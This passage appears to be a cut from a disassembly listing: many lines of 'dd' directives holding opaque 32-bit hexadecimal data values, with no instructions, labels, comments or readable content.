		dd 5D4DD0h, 362DCC0h, 43E1E7B4h, 55384A3Ah, 0A0089534h
		dd 0E8AA1180h, 80A00FB9h, 0E47A135Eh, 3D6D7F63h, 0A980F108h
		dd 3A3C14EDh, 2D12E9E5h, 0F807727Fh, 84058858h,	0BBCF400h
		dd 36EAA5h, 5EA6201Ch, 6B81D622h, 0DF028C4h, 46429848h
		dd 23BA2422h, 9448847Bh, 24274942h, 0F39020FEh,	8F08187h
		dd 0C52145D4h, 0F4271182h, 11080C11h, 0C612237Bh, 0FC1C2887h
		dd 0FA88E879h, 2A54007Ch, 245616C7h, 5B141401h,	3008C227h
		dd 0B81B0817h, 0B0974EDAh, 0F000956Ch, 67E1ECA9h, 0FC8842h
		dd 0B84AAAA1h, 4850AE39h, 736D413Bh, 6B26F871h,	0D900260Eh
		dd 0AF1D6A7Ah, 73EC82h,	0AA198696h, 0BE8D5F6Dh,	0E74E041Ch
		dd 0F34FB2C0h, 885D22h,	33923C1Bh, 0AB623761h, 439B9500h
		dd 0CD408612h, 7C6D03B9h, 57DD2DFAh, 0ADB6E0BFh, 133E2935h
		dd 493DC04h, 0DDAB856Ah, 0D72247C0h, 2DA60318h,	0DB3E66C4h
		dd 6A6ED8A8h, 0E95A0A0Fh, 710073CBh, 7B99A225h,	5668000Dh
		dd 8B514B78h, 0B4031EB6h, 5BA4FC67h, 2EBCF89Eh,	710A0796h
		dd 201341h, 6916D6B0h, 0E5D18203h, 0F0C5AB18h, 129CF14h
		dd 339310FDh, 0DCFE6AB8h, 2D00B22Ah, 0AC4F4E3Fh, 3B280778h
		dd 9000375Bh, 1CD3FB73h, 943FC930h, 7D047D04h, 1CF6635h
		dd 9E0D5CC0h, 0FAA20737h, 706D4F71h, 0CF260A29h, 0B7AAAD17h
		dd 0F869D600h, 0EFF5E25h, 98C03016h, 53DE1380h,	590EEB5Dh
		dd 0A18DDCC8h, 0D101B10Ah, 0F4F3E1DBh, 110C530h, 60BB3DCFh
		dd 0DC99E709h, 560377DEh, 0C56C28A4h, 8661C8C6h, 0E19C01D6h
		dd 6A0FD205h, 4520642Fh, 8DEDB401h, 0C082FDEEh,	0FFBE6880h
		dd 5834601Ch, 48CEAA00h, 0E2FB724Ch, 31B9F6A5h,	6D80B3A6h
		dd 0C657F00Dh, 6B5B6200h, 7B4F9148h, 1E030106h,	0E6F5E9F2h
		dd 0D04BD16Fh, 0B7775EB4h, 0E3C078DFh, 8EA149ADh, 0BD7700EAh
		dd 2B3B9567h, 40F5313h,	374639Dh, 0F07BF4BAh, 0FA4C7886h
		dd 5CAA009Fh, 99FC1947h, 0C807DBFDh, 1B3143EEh,	388537D0h
		dd 0A6E627h, 0A07FE9CCh, 60D780D8h, 0EA62A900h,	405378C8h
		dd 9B94002Bh, 2DEDCF8Ch, 0F8C0D2D3h, 0F53C076Eh, 0B7BC00A3h
		dd 56B34687h, 5A90A6C7h, 0CADDF00h, 6F491CBAh, 0E0A27745h
		dd 0B84800A0h, 3B194D20h, 0DE2CAB6Ch, 4528455Eh, 59CA9800h
		dd 18BE94CFh, 6211011Fh, 6553EAA1h, 979FE44Bh, 0C7F49B1Eh
		dd 66617A87h, 95BC0110h, 0D842459h, 0E9780020h,	0EBB2911Bh
		dd 5CAB6D01h, 77AC1640h, 70AF8441h, 288A0980h, 1844CBEEh
		dd 0B2C19A00h, 76B4FFC6h, 1ECB022h, 3841B771h, 200D2425h
		dd 790019F4h, 0E7EAA5Fh, 0E28401h, 4FFA8B14h, 0A1C56EBCh
		dd 22053500h, 0AF1B17D0h, 15F001C6h, 0A8F8A9E3h, 0D47EF85Fh
		dd 3F9E1E01h, 0D2251632h, 384039DCh, 48F7A9E4h,	0E902A0FEh
		dd 8192BF72h, 7E03C043h, 0EDD503D3h, 883E80DFh,	1DC24CF1h
		dd 0F794FF00h, 0F39AF296h, 0E2893401h, 6ED533B4h, 0EAB181CBh
		dd 5C1C20h, 7776B6A2h, 65C49B34h, 0B71BAC07h, 42C01328h
		dd 284F9905h, 0F4DBE0h,	3217F0C7h, 0F714C839h, 0D3500D00h
		dd 0F8F61CFCh, 0A68900E2h, 0BFA499B2h, 6A004302h, 503A479Bh
		dd 1E901D09h, 85916C03h, 73E4A1h, 8DD930C7h, 787EDD29h
		dd 6F05F501h, 14C37A0Fh, 0A2E45431h, 0D0420076h, 31EC7F93h
		dd 68981CEFh, 3D44A500h, 2E39C826h, 1DBC03D2h, 420EEEE7h
		dd 520C4DF8h, 0F55FB43Dh, 6CE63B2Ch, 30211600h,	0E23EDD07h
		dd 2413000Dh, 26CA17E1h, 0CB0014A6h, 0C118EA32h, 3E353B7Eh
		dd 0F892C10h, 8800F612h, 24C02DCAh, 762F3D00h, 1D18D829h
		dd 0D46E00DFh, 8F5DC83h, 5498CF42h, 0BDFED603h,	0E0F2517Bh
		dd 0E8EF3857h, 0CF8F0013h, 0FC531FF1h, 0E20FAC03h, 4E92633Bh
		dd 0E7BEAF02h, 3CE7599h, 0F8837085h, 0E06C22DCh, 1377008Dh
		dd 0CF2C0961h, 7502FDA1h, 3E266A9Fh, 0EFD0804Dh, 2C7F6236h
		dd 0F009761h, 0A4206313h, 5005A0D5h, 51404600h,	3D42EB7h
		dd 0DCC200DBh, 8C566FEAh, 5E004765h, 389E4084h,	61F7FAh
		dd 0F04B755h, 0BE9C771h, 74EA87EAh, 9EEAB00h, 8243144h
		dd 0B3D00079h, 10DD9D28h, 5C0FD894h, 60A4AACDh,	6EB4650Ch
		dd 0F9E60EC1h, 0AC247455h, 20C88003h, 0F300C072h, 0FDD20C3Ah
		dd 0EA2FA924h, 0DAAF0C1Fh, 0B20918D1h, 62C53000h, 782E70ADh
		dd 0F75E03BBh, 0C3BABEACh, 0C8EFB9D9h, 432453C4h, 6105C836h
		dd 0B49112CCh, 0AEEC332Ch, 6CE7498Ch, 0E0A3C700h, 9BDEC4E2h
		dd 0AB38CB7Fh, 0D18E1683h, 0E1F2F400h, 7440190h, 0C5CAEB89h
		dd 9BAB30C9h, 0DE26E74Dh, 0D009474h, 0FC663E51h, 67E8266Fh
		dd 0C59E007Ch, 83B975A9h, 6EDBEC00h, 0B6AC6435h, 0B4961D7Ch
		dd 427800EEh, 57FADD16h, 0E0347B01h, 0EFC09130h, 0A7CC3080h
		dd 0B3B7F776h, 0F9212000h, 96062E9Ch, 369B00CEh, 1649012Dh
		dd 37005E1Dh, 756CAAFh,	139FA3Bh, 24EF194Ah, 30831564h
		dd 80E80CE2h, 8C10A900h, 0C02E7F1Bh, 7B500F9h, 78655688h
		dd 0E6005428h, 9684A820h, 73DBA7AEh, 8CAC0095h,	0FBEADE05h
		dd 371F70CDh, 7A403048h, 86082D75h, 0D5E30E1Dh,	97209BF8h
		dd 2F5C8CEEh, 0B29AD601h, 0C2D012B9h, 278C60h, 6FDF2D0Ah
		dd 69C12F0Ch, 0D8286090h, 9C0086Ah, 381333A3h, 2EE03Dh
		dd 0C411BB3Eh, 2015EF29h, 72EC2500h, 3090C042h,	9B8B852h
		dd 1853F185h, 0BE2BACA0h, 0A492871Dh, 50C8A907h, 102CE0F0h
		dd 839100ACh, 467C3E9Fh, 10017CDh, 0DDB51062h, 0FBB8D7Eh
		dd 97216DDEh, 85405ECFh, 31FFD790h, 2D3C2890h, 21329C69h
		dd 682C10B0h, 165B0003h, 116308F9h, 9B758557h, 0BA48261Ch
		dd 949A2284h, 585F72C2h, 513300C8h, 0AB04E630h,	605E032h
		dd 1BF337A8h, 58090819h, 0A31620h, 0A192EFBBh, 0BD488DB1h
		dd 44EB2501h, 6EC22A8h,	0B46129E5h, 0E218400h, 1B4F4427h
		dd 0CF9B5000h, 81EF815h, 8AE14C5Eh, 6EC17A01h, 0C8DA1DE0h
		dd 0E8145D4Fh, 0B640A9h, 0DF7DB99Bh, 1C9FEB66h,	0C06F3B1Ch
		dd 72FEDE5Fh, 0E30248C7h, 0AF28A71Fh, 8A594050h, 94C3004Ch
		dd 9E8BBB46h, 0DC00BE54h, 91EB1CA6h, 5A5102h, 1416CD10h
		dd 0EC98C758h, 0F10020F0h, 9993D715h, 277419Bh,	0DD510B25h
		dd 4CC05263h, 140F689Fh, 205E8AF5h, 6B69812Bh, 5520002Eh
		dd 593D1716h, 733C136Ah
		dd 3922002Dh, 33C11B6h,	146B00C0h, 0B76D380Bh, 2D03BF09h
		dd 0F2A1D342h, 0B0E1D892h, 366B0052h, 4F17A2F6h, 151DA3DAh
		dd 2D934449h, 985DA000h, 3CA7DE8Bh, 510004E5h, 0A8DA507Bh
		dd 0FF2CE00Fh, 4200DCD2h, 7453D83Eh, 5C4B097h, 0AC51FE01h
		dd 0F528C0B2h, 0F479E4F2h, 357DBF04h, 0BCE087D6h, 9308003Dh
		dd 4874B984h, 0A21FC4B5h, 350F8A02h, 0FBB2C07Eh, 9CB6FB3h
		dd 475069A1h, 71061083h, 7EF7B9B0h, 0DB0E9FE2h,	36568BD2h
		dd 11BD2006h, 0EAC30029h, 0E5F1010Ch, 0B4E6EF16h, 0F8EED12Ch
		dd 7CF96980h, 1D22D54h,	4E33821Ah, 70B95902h, 7F005704h
		dd 0AE3B7D7Eh, 2A24E5h,	0D6DDD71Fh, 0D5E68B75h,	2BB03724h
		dd 6CB33101h, 73F93D7Bh, 0F23FDAC0h, 0D8DD005Bh, 0FFC3E1D1h
		dd 560F7E9Eh, 0A13BFA37h, 7A7BB459h, 5A0AC4h, 5E79A2ABh
		dd 2225CB31h, 3CC8C601h, 16A49DFCh, 8AA31880h, 0AC627E43h
		dd 4CC52700h, 7BC0250Eh, 0D520267Ch, 0DB3600B4h, 19579041h
		dd 0CC9A9DFCh, 2084C651h, 92EC21CCh, 0FE04B800h, 22B56FCFh
		dd 0FE400A3h, 235ABEAEh, 9B008395h, 0D1C96521h,	308F8E2h
		dd 94CEB8F2h, 9CB8DFA2h, 0BCB8D7A8h, 28F18E00h,	84CC0165h
		dd 0A01CE669h, 0FD140E8h, 0D35A9C73h, 88449EE0h, 3F5CF2CEh
		dd 386071C4h, 65905209h, 0D0AC3E87h, 3E5A980Fh,	1A340733h
		dd 0CF5943FCh, 6373B090h, 30394Ch, 0AA775041h, 38D707Eh
		dd 0BDAC4943h, 0C99086E4h, 31000798h, 35DBF26Dh, 9F11FCBh
		dd 4F69B24Eh, 0D1E61480h, 0B005EC44h, 6DAED8EAh, 41A45880h
		dd 0A0F4028Ch, 0D3F7517Ah, 49FC10E8h, 53C81900h, 7C14CF3h
		dd 0D223007Dh, 5B8E2D37h, 6A09E39Dh, 81EC6642h,	0C7B4E2BFh
		dd 0B5202429h, 0F2D74F01h, 96F1B87Fh, 7F03060h,	5FBC0674h
		dd 0AE45A0AFh, 78009969h, 38BBE3A1h, 0D371329h,	83A3801Fh
		dd 0E9F2F8A0h, 0AAA8CA00h, 559A67EEh, 0CD9903E7h, 0F5DFEFC3h
		dd 48D5290Fh, 7757002Fh, 454291Eh, 56A097E1h, 5149C0F6h
		dd 0EB094AD3h, 0CD582Ch, 4E938FB7h, 9D7F48h, 99297BB7h
		dd 878D22E5h, 18FFFD12h, 0BE8E541Eh, 271220CDh,	30C6B3F3h
		dd 0C094AEEh, 5D00E05Ch, 0BA93C2B4h, 63FDA2h, 0E9B89ED5h
		dd 0D7B6C51Eh, 83FB0400h, 9F724FC6h, 734C00DFh,	0E970C38Bh
		dd 0FFEED377h, 7D04BB7Ch, 35B0DDF9h, 2E222CA0h,	3FD6C5h
		dd 0DF1B6170h, 5B252C6Eh, 8A282BC4h, 6A13161Ch,	9CD86030h
		dd 62E0073Dh, 0B05BC6D4h, 0E4E3EE93h, 0FCC92B00h, 9C13B17h
		dd 779D0040h, 0B3F65D15h, 933D07ECh, 814C8025h,	7297AB17h
		dd 423503B9h, 0E975BB41h, 61A80BC0h, 440A5E00h,	0AC09BAB5h
		dd 0A37D0B97h, 0E00B454h, 65D4E42Ch, 9B0021EAh,	0C03E2FE9h
		dd 1F945DAEh, 0EA0E561h, 2539A7Ah, 58A4F61Dh, 2D00E846h
		dd 7CB75A3Eh, 0A88A893h, 0E5E8A429h, 0DC150AF4h, 0F8F420F9h
		dd 54020FC1h, 0B400678Ah, 0E56DA16Ah, 0D0970700h, 143C278Bh
		dd 6CF13F0h, 0AFB4002Fh, 0F49A044Ch, 9479667Ah,	970B670Ah
		dd 93008F3h, 7B8A8848h,	86A800E7h, 5C59ACE5h, 0BD02A071h
		dd 5A914CB8h, 0E2F8437Ah, 0E7B4C31Dh, 72EA9B62h, 0A8E91EB8h
		dd 0B625405Ah, 3D36891h, 0E4475C00h, 0CF1638FEh, 909F436h
		dd 2286CD5Bh, 5DDB8077h, 2E0EB7F3h, 33FB4AAh, 270571F0h
		dd 26BC4AA8h, 9B0A238h,	0F507FC1h, 75C6C0ADh, 0E06C703h
		dd 0D310B9F6h, 0B3450A62h, 0E1D538C0h, 901D7627h, 58F8184h
		dd 0E6B3F256h, 78B820C4h, 0B1F495D1h, 5DA9EB00h, 3686FD19h
		dd 3231005Ch, 37813FB2h, 693F3424h, 0EE5D8097h,	0C141F105h
		dd 0BABE00E7h, 3C6B7EA6h, 2D011EF6h, 21261C1Ah,	0D17016F4h
		dd 0F7A3CA5h, 8003F71Dh, 0DD29075Ah, 0B001F62Ah, 34BC3AD2h
		dd 0C1F05B57h, 921D00E6h, 5C7E94Ah, 2E00E708h, 9EDF1F4Eh
		dd 243EA5E5h, 2446DB78h, 71C1DB4h, 36EFD7h, 1D30E9D9h
		dd 0BEED61Fh, 34EDD546h, 644E0309h, 84990ED9h, 0E2B6F4E0h
		dd 8B082B1Eh, 0B5F9C480h, 13788A73h, 234477Ch, 100D25B4h
		dd 0F5BCB060h, 0E9E79401h, 0FC049F89h, 51D00870h, 9C00F95Bh
		dd 0C7DBEC6Bh, 0A031C2E2h, 55332C1Ch, 0DCC76F2Ch, 6D70E203h
		dd 0A68DB80Eh, 49E83A44h, 0C9B44780h, 8476ADA4h, 510158F4h
		dd 0FE7C533Bh, 0E430D3D5h, 218900F1h, 98CC6733h, 6C00A09Bh
		dd 6F2FB386h, 1FA46D6Bh, 804B3B92h, 72D5268Dh, 3C012301h
		dd 0D42C2B74h, 0FAF08C11h, 11B044h, 3A7883AFh, 0D73E5BFFh
		dd 14253600h, 0DA4833D6h, 0B92838D1h, 6867DC8Bh, 80CC4CA5h
		dd 37E73C4Fh, 0E126891Eh, 0F83F8543h, 0E53AA133h, 0D59609BCh
		dd 5D08009h, 3202E6EEh,	1EFAA21Bh, 339E037h, 152B4CCDh
		dd 5EB03528h, 29B7B195h, 9BC30EC4h, 28A80146h, 4020F1CCh
		dd 0AEE200B5h, 760D5EFEh, 16710C21h, 5FA2D00h, 1AE7BB88h
		dd 703913F7h, 0D66000D7h, 9DEFFD4Fh, 958DD112h,	671FA800h
		dd 0B143F5h, 1761ADC1h,	0B59B8263h, 7E0FB7E0h, 62CC3720h
		dd 0C085F423h, 0DC584h,	0E4649453h, 2D42C25Bh, 0B6991300h
		dd 0B2EA3DF9h, 768200DAh, 0BCA54B08h, 5E121AE4h, 6303E3CDh
		dd 0B8B7EA8Eh, 29A56B8h, 0B954AC95h, 0DE077F9h,	0EF017DE5h
		dd 99C0DF17h, 0FA60DA7Ch, 261EE2B7h, 8054B652h,	79674E63h
		dd 4B00A7EEh, 97883046h, 13B93442h, 0D8E34198h,	0A61C4DD0h
		dd 0B1C04895h, 0B8367845h, 0A45207A7h, 6043928Ah, 58B8D85h
		dd 506B5Dh, 4D9B75D5h, 0E6EDACh, 1EBCC0D4h, 6BE34241h
		dd 89289431h, 903CDBAAh, 2F690670h, 87304C9h, 5197581Bh
		dd 357C318h, 87F6B710h,	2075651Eh, 0AD522600h, 0D560142Dh
		dd 7746008Dh, 574A1CACh, 903658FDh, 130414Bh, 1474AEF5h
		dd 0FC28A967h, 0EE00E5C0h, 37D57894h, 5E13880h,	6B08C9E2h
		dd 44500097h, 42024A64h, 5292F1FFh, 7F19415Ch, 1FC49300h
		dd 0D2EAA400h, 7810B63Eh, 0A62D00EFh, 0E1412C5Eh, 39007DCEh
		dd 6D8632F6h, 0E888F1Ah, 3E18C60Bh, 4E2CC400h, 44748409h
		dd 0E3BF1900h, 11FFC95Eh, 379E008Bh, 0D9BAF25Fh, 0F605E76Dh
		dd 7A2D17FAh, 4E40B85Dh, 29D020F7h, 6D92005Eh, 0BB3490D3h
		dd 0D5404493h, 3314CEC8h, 0A776DD20h, 0D003F8F2h, 0ADF56A88h
		dd 2A38D0B4h, 0AE590C35h, 0ED58EA93h, 21E94C60h, 7E6C23h
		dd 3C4662C2h, 0B4D186D9h, 0DD2CC800h, 0AA5BDEF3h, 32E93042h
		dd 7A47D630h, 0E31B1103h, 0E0060214h, 1D046058h, 5117A9h
		dd 0B40C565h, 0FF3BFC69h, 0F6D80CB0h, 3C7171FDh, 913E25ACh
		dd 4D66068Fh, 990E3B6Fh, 59735020h, 0C8ABC2B6h,	2747C4F8h
		dd 6B588500h, 35FC8924h, 0ED550644h, 7896D52Ch,	1E2B6500h
		dd 0F58A0EDAh, 0BA430384h, 7E9A32Eh, 805E3CC1h,	0A5443E11h
		dd 0D5CB66h, 2BFF677Bh,	0D84EEAABh, 4A7663B8h, 2D95C612h
		dd 39B1F605h, 0DD6C0BEh, 0D9003BC1h, 69FB1957h,	0F3A3E2h
		dd 9545C99Eh, 0ACABF224h, 9FDBB901h, 719B279Ah,	1F5F98F0h
		dd 1D8BA51h, 2E85674Ch,	84044B6Dh, 0DA80AF2Fh, 3B377A93h
		dd 203764A2h, 7B65B320h, 0E0A82900h, 6E352181h,	0BFA3A6Ch
		dd 6DFB5D81h, 803D0662h, 0F4F7AB51h, 1F7AE92Bh,	0B8B1DEFCh
		dd 4CF9FD14h, 0B4C6F3Ah, 0E4D4040h, 0CBDCD0F4h,	0E0E52920h
		dd 76E82A23h, 2D2021C3h, 2271A8D1h, 0CA1B0043h,	6DE52FA2h
		dd 0E2061F47h, 21EEE74Eh, 0E004F650h, 1BC40086h, 6407183Eh
		dd 2561683Ch, 2C766790h
		dd 65727560h, 0C085C88Dh, 0ABA1171Eh, 0D4DF8C18h, 1E6758h
		dd 47754C9Ah, 58AEFEFBh, 1CEDD929h, 0E60CB090h,	0CCA8639Ch
		dd 41D038h, 52C86E0Fh, 0AE7FF1Ah, 0EC6F7221h, 0DA2580B8h
		dd 0D306F6ADh, 1263400Ch, 0CF9608BBh, 0AD80AC21h, 0D6236A3Dh
		dd 27089F01h, 1E527047h, 628278B9h, 0FB48A9FEh,	60A3A484h
		dd 23D3D0C5h, 5F11B3CBh, 0D0DE3B00h, 9E1B083Ah,	0C73E6207h
		dd 0D4704155h, 0E473862Ah, 3DA053Fh, 3A428884h,	5F23D4h
		dd 88CC761Bh, 6B629102h, 1A539B0h, 0B05DD04Ah, 170D78C9h
		dd 902F00B8h, 45FCADF9h, 2E700962h, 0FB065C03h,	9185E941h
		dd 54247E94h, 225A0087h, 45E08419h, 4866FC61h, 213908h
		dd 9C23A318h, 1CBD3437h, 0FCDDA800h, 7E7DC9D0h,	89E019CAh
		dd 0F8C8801Ah, 5D548017h, 0C94350A4h, 0DED11201h, 0C2A1BCBh
		dd 0F4268958h, 170397D0h, 62039324h, 4D890F86h,	0D8E7BC08h
		dd 0A682C73h, 82636EB0h, 0BDD54E68h, 7998F445h,	60CA380Ch
		dd 0D8C81829h, 620AA1A9h, 41F4FA55h, 102E8770h,	24CFACh
		dd 627AD6EEh, 0FE03B930h, 0A8D2311Fh, 842E9349h, 64958431h
		dd 0C0704008h, 6F4ADDCh, 9A22E346h, 0ADD45203h,	8F5F8411h
		dd 0E161010Eh, 0A0202440h, 6207011Ah, 0FB5E2F74h, 6D7C2495h
		dd 0A9A49100h, 0D1CC86B0h, 84ED3349h, 610F0451h, 0A046FEF3h
		dd 720DE708h, 0CF60000Ch, 0A6D23A34h, 42AEB80h,	7D0AB4C8h
		dd 90FB7E11h, 15AB0380h, 484FFA78h, 1A07F002h, 29AC8262h
		dd 0F5C61C00h, 2354F1D0h, 0F42108ECh, 7160299Ch, 0C01871h
		dd 376BFC1Ah, 1909E0C6h, 9307E275h, 7A7A065h, 98650F87h
		dd 4B32C820h, 2B0C00DEh, 9D6B047Ah, 0C55859E8h,	3624C49h
		dd 7DCA6D4Fh, 0AC894BE7h, 0ADAC005Ch, 65898378h, 609C7421h
		dd 31A72112h, 0AD1F82BFh, 0BCA8C8E7h, 26D4F1E5h, 22570284h
		dd 3158841Ch, 0B8211008h, 0D3BE0E23h, 9CA9FA6Fh, 4CA8D498h
		dd 0C061B680h, 0F34FEEF9h, 1703D1DAh, 18CFAA0Ch, 127809E3h
		dd 0F68C782Ch, 4E002640h, 66E05408h, 831B58h, 2F4AFDF7h
		dd 6165B7B2h, 2A0774F2h, 0AA09233Dh, 0A3804F6h,	8162A8FEh
		dd 57813CD0h, 639AD8CCh, 5040E20Ah, 4866837h, 6F9ADDFh
		dd 2490CEEBh, 0D50050AFh, 51D2FC9Ch, 0FE80191Eh, 190B4897h
		dd 15C5A420h, 24414B06h, 53009122h, 889EADEBh, 18EFF73h
		dd 0C128C8B8h, 50206209h, 0E1D04298h, 84788A58h, 45310843h
		dd 7AB60160h, 0A186A450h, 0E2E101C9h, 3F903DEEh, 1F942024h
		dd 4A12AD09h, 0E8D00046h, 0D6861Ah, 15B5FF49h, 986F6CDDh
		dd 7D690084h, 1E9F560Ch, 9600044Ch, 9B2C2008h, 0F80D4DA9h
		dd 371200DDh, 0E906C8EAh, 0F302E004h, 0E2672229h, 2C384042h
		dd 1802867Eh, 8AC56BEh,	101A199Ch, 0BE73A5h, 8890DCAAh
		dd 815AEBE3h, 0C0B1B6EAh, 96DC100h, 307CE8Ah, 0D708AFFAh
		dd 1FC883AAh, 7F02F99Ch, 0E02FAC8Dh, 72404858h,	0D73409C0h
		dd 0C839CCCBh, 1FF618BCh, 0ACCBDAD0h, 2F2270FCh, 304CD107h
		dd 46B9905h, 94886688h,	0E68F00C4h, 0A1DF404Bh,	0F6000436h
		dd 63BF8008h, 5A0E2F2h,	0EC6C05E7h, 88248E7Ah, 0BDDFC01Dh
		dd 8A48ACB2h, 8C1CF8E4h, 3AF0EC03h, 9820A509h, 606E4Eh
		dd 64CC16F2h, 0ACE6C8D0h, 0E29CE712h, 364DB807h, 1899A6B4h
		dd 6256C0D2h, 1DA09289h, 0C15A1555h, 8B81003h, 65002450h
		dd 0E74D1110h, 2054DD29h, 0AC5B14F0h, 11885410h, 0BF0AB880h
		dd 88E3BBh, 60C7982Fh, 0F99F3321h, 808EA824h, 7D21B0A8h
		dd 0ADD9806Fh, 40BB06FFh, 21E32086h, 0C6D14531h, 0F820646Ch
		dd 3579224Ch, 90714899h, 0B2072C18h, 3B244BB4h,	8C044F55h
		dd 14975CCDh, 0E3B63A81h, 1C774760h, 1A3FD9Ah, 343E4B14h
		dd 9C10307Dh, 314F6230h, 26E4D0Dh, 5AEB26Fh, 38E0B546h
		dd 0B8B2EA62h, 7369E007h, 0E7B2C1A6h, 0E210EDE5h, 0E077D5DEh
		dd 6064B9F8h, 6ADD18Ah,	1500FA14h, 63B7CD6Fh, 824304Ah
		dd 6CEBB3F2h, 7D016D01h, 72057A3h, 0C4DE00E7h, 9B27B1A0h
		dd 0B317AC4Fh, 90016EB2h, 60E2F042h, 593C70h, 17467D15h
		dd 1036DD65h, 1265AB58h, 1001E3DEh, 4D6F27CBh, 6A21033h
		dd 97D30h, 0FD97DA02h, 0EB94CEA0h, 2F06E58h, 4588D369h
		dd 0E5F08020h, 164A3E2Eh, 5C9FFA06h, 984071Ch, 0A400DBC8h
		dd 1588604Eh, 0D681049h, 29FB33FAh, 0DFABD441h,	707087F9h
		dd 23894B6Fh, 70016054h, 0F7867D55h, 0A88520AAh, 470FE12Fh
		dd 0FC1E629Ch, 86E04E31h, 28B88474h, 0B4882DF2h, 0E82A0E5Fh
		dd 0A220A97Eh, 81013D39h, 8C4E7117h, 0FF1F3007h, 1161AC66h
		dd 6EBC6h, 0E7DBB08Fh, 7C84465h, 4A97573Bh, 0A981863Dh
		dd 31BD38h, 0A2428A7Ch,	22355E8h, 41563CACh, 51ED4Eh, 9E4C9608h
		dd 1F6170E8h, 480392F9h, 3D0479A6h, 6CD7E2EAh, 23AC045Ch
		dd 62708473h, 551A203Fh, 4300CB22h, 4DE08616h, 0C277138h
		dd 49CD88EAh, 3003371h,	4E47C828h, 57CED2h, 99E53B96h
		dd 0E7A1B23Eh, 9CA7A326h, 2A9802F6h, 4FF5D3B3h,	6421E451h
		dd 3D181D51h, 0AF7DB404h, 0E0B0F0DFh, 460B1324h, 43000159h
		dd 89EE0CF4h, 48163218h, 4D6D4C80h, 1C8080C8h, 68AC5ABEh
		dd 0B91D448Ch, 62BF3700h, 8675BAFAh, 311C73C4h,	0DC51DA11h
		dd 2C56D5CBh, 0F21E09FCh, 9D1489A2h, 80749168h,	198488E8h
		dd 60646046h, 7130ADEh,	0D5948B54h, 2256048Ch, 62408405h
		dd 0BF3C200Ah, 460E0723h, 467D6226h, 3091290Bh,	0A2794BCDh
		dd 74E2C248h, 92555709h, 4EF0609Dh, 0BECC05AAh,	32A3CF7h
		dd 211262A4h, 98654101h, 5AD52C81h, 3EAA8060h, 0CC4840DFh
		dd 16D7E700h, 0FF4A8CAh, 3411E4B9h, 10ADD080h, 41434307h
		dd 46009722h, 89D4ADE8h, 55C4433h, 88CA8EAFh, 0BC389069h
		dd 54303FABh, 0C4F49827h, 0BCEE5578h, 802CB809h, 18C4BBCh
		dd 0BC26FA8h, 30059792h, 0E502ED3Ch, 0E34E2125h, 981C4974h
		dd 47C79CAh, 12E20188h,	10E37009h, 0A9FC64B8h, 0DEDCA498h
		dd 48600BBh, 171F1103h,	0B500E8C2h, 0B2F19B33h,	3E044BFh
		dd 0D0AA8152h, 50021435h, 0F01C2412h, 0D8F4C0BAh, 82A8A8DFh
		dd 62A334F1h, 858C0A0h,	86061ABEh, 87E804F4h, 6224A081h
		dd 0EBEE8071h, 82195360h, 3D80B6E6h, 0CD01E1A6h, 0B786E7E5h
		dd 5431EC7Ch, 4AB3FC0Fh, 0C08C69F8h, 0ABED118h,	306A32F9h
		dd 2F4C97A8h, 2292378h,	0CFF95647h, 9479C851h, 39018A18h
		dd 8C406E2h, 0A083D201h, 83E349DAh, 97032903h, 0C0385FCCh
		dd 0C4862BE1h, 0CC9C4718h, 870CD4A8h, 1175CC4Eh, 14761Bh
		dd 0ACD0E746h, 2C5D53DBh, 0CEE47A09h, 627481A6h, 8041DD6Ch
		dd 84F18CC8h, 277440EEh, 0ED941001h, 4858B70h, 86414E38h
		dd 4042BA01h, 0D41A9EC0h, 1CEAFA13h, 5EBFBC00h,	45798BD7h
		dd 0CDE4617Bh, 0E2EC035Bh, 0F1E479FAh, 7DBF1871h, 1B54F75h
		dd 1FA192A8h, 0BB182009h, 2E21E0A4h, 0BE1A817Eh, 1818AC58h
		dd 7DA38828h, 0FB74BE00h, 0C2118444h, 0C6D8C74Dh, 100C57DCh
		dd 250917C4h, 234C3258h, 23AD01DEh, 3348841Ah, 802789E8h
		dd 0B8E20D64h, 0CDD72ABFh, 0C5E701BCh, 6788FE2Dh, 101029D8h
		dd 0DEC06836h, 330712ADh, 0C0CE1C91h, 3A87ADD6h, 9FA60E0Ch
		dd 660CCD0h, 2DE42EC5h,	0E8208641h, 55F40BEh, 9DD0CA08h
		dd 78C004E7h, 11604BEEh, 821440C8h, 5830D3C8h, 841F1122h
		dd 803B8850h
		dd 9323A13Eh, 291ECD7Dh, 8A4A2FAEh, 0E20DA857h,	0F8028164h
		dd 0D0F930BFh, 13CBDF08h, 4045642Ah, 6ED11227h,	9BBA0651h
		dd 715AEBDAh, 73FD400h,	8FFA671Ch, 91AD27E0h, 0F20AFC80h
		dd 8905017h, 0F186E812h, 6E4DF000h, 155BA38h, 0B83FBBFDh
		dd 0C025D1E4h, 2D16D43Eh, 441D6EF5h, 6C9D967Fh,	5323DC3Ah
		dd 3184AE01h, 0C86260B6h, 755E7860h, 0AA09E572h, 18A743Fh
		dd 0EA1986B0h, 0FE8CA5D2h, 2A98288Ch, 2E8048ACh, 409CE74Eh
		dd 63FBA02Ah, 101CD8D4h, 2E922825h, 5962338h, 88CD8DD6h
		dd 2501A9D0h, 73C984CCh, 0BC346443h, 0E14E2868h, 99C1540h
		dd 7770ACE0h, 5CC07D86h, 11EC3CC6h, 5DF4ED8Ch, 42AF3DB0h
		dd 9B020584h, 961CC2FBh, 7B4E4C87h, 913070C8h, 8471C01h
		dd 0E6D703B5h, 45E3BC66h, 21B598C0h, 1B5ED801h,	0CCE217D9h
		dd 0E863FBDDh, 0EC3090F2h, 31FC006Fh, 0A1FAF369h, 0AC025570h
		dd 0F19E8360h, 0C5B8D8BFh, 2C53068h, 0B4AAF3DCh, 4026D040h
		dd 842CDE81h, 23A24780h, 0F879C656h, 913A900h, 0B7055FA4h
		dd 5E12750Ch, 0E814480Ah, 70225BC0h, 22784684h,	0BC2D0134h
		dd 0EA980523h, 454FC1Eh, 6E379218h, 0CF670A0h, 9E2BA8CCh
		dd 630ED410h, 32FE2704h, 0FAC6C08h, 6C60142Eh, 5E2B03FAh
		dd 0B3014CB8h, 867DD1E0h, 0C7CF9C4h, 6203F3C4h,	0FE1C9910h
		dd 3840E605h, 6E3E461Ah, 44185627h, 0D017D110h,	0C88BEBCBh
		dd 0C0C9241Fh, 81C1AADEh, 7E073ED7h, 144DFA55h,	901ED973h
		dd 18BACB7Fh, 59207D5Ah, 0A700EF46h, 88DF5913h,	7C8C51h
		dd 0EA5C5BFCh, 35B47A2Fh, 907DFD0Eh, 0DE4320CAh, 9ADA7F5h
